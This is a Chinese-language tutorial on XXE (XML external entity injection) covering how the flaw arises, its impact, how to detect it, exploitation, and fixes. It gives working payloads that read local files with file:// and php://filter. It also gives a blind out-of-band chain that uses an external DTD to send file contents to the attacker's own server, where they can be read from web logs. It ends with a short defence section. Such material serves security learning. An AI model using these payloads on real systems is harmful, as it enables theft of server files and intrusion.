XXE漏洞
一、漏洞介绍
XML:
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。HTML主要用于回显,XML主要用于传输。
XXE:
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
xml外部实体注入,利用伪造xml进行恶意文件加载。
二、产生原因
服务端接收和解析了来自客户端的xml数据,而又没做严格的安全控制,从而导致xml外部实体注入。
三、漏洞危害
造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
四、漏洞检测
检测xml代码是否被解析
检测服务器是否支持外部实体引用
五、漏洞利用
1. XML格式
<?xml version="1.0"?> 文件声明 <!DOCTYPE 定义文档格式(可以没有) any [ 定义文档根元素(可以与下面不同) <!ENTITY x "abc"> 定义一个变量 <!ENTITY y "def"> ]> 实例: <?xml version="1.0" encoding="UTF-8"?>(编码可以没有) <!DOCTYPE any [<!ENTITY x "abc">]> <any><a>&x;<a><b></b></any> <any> 内容(根元素不需要与上面相同) <a>&x;</a> a元素为回显位,在其中用&引用变量x <b></b> 需要加分号 </any> 回显为abc。参数的值一定要用双引号。
2. 操作
抓包,观察请求头中content-type类型,text/xml or application/xml。
观察请求体结构,标签形式。
<a></a>
伪造xml文件。
3. 读取文件
<?xml version="1.0" ?> <!DOCTYPE any [<!ENTITY xxe SYSTEM "file:///c://1.txt">]> <x>&xxe;</x> SYSTEM "php://filter/read=convert.base64-encode/resource=c://xxx.php" 以base64方式读取。要写绝对路径。
4. 引入外部实体
条件:是否开启外部实体引用。
<?xml version=”1.0” ?> <!DOCTYPE any [ <!ENTITY % file SYSTEM “http://192.168.x.x:8080/xxx.dtd”> %file; ]> <x>&send;</x> xxx.dtd <!ENTITY send SYSTEM “file:///c:/1.txt”>
访问预先设置的文件,里面内容写入代码,执行访问服务端文件。
5. 无回显读取
<?xml version="1.0" ?> <!DOCTYPE any [ <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=c://xxx.txt"> <!ENTITY %dtd SYSTEM "http://192.168.x.x:8080/xxx.dtd"> %dtd; %send; ]> xxx.dtd <!ENTITY % payload "<!ENTITY % send SYSTEM "http://192.168.x.x/?data=%file;">" > %payload;
上面!ENTITY %XXX 设置变量
下面%XXX;启用变量
开启日志:上面的url一般是自己的vps地址,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,就能看到读取到的文件数据了。
6. 工具
XXEinjector
六、防御与修复
1.禁用外部实体,例如 libxml_disable_entity_loader(true)
2.过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC
禁用协议:file、http、各种伪协议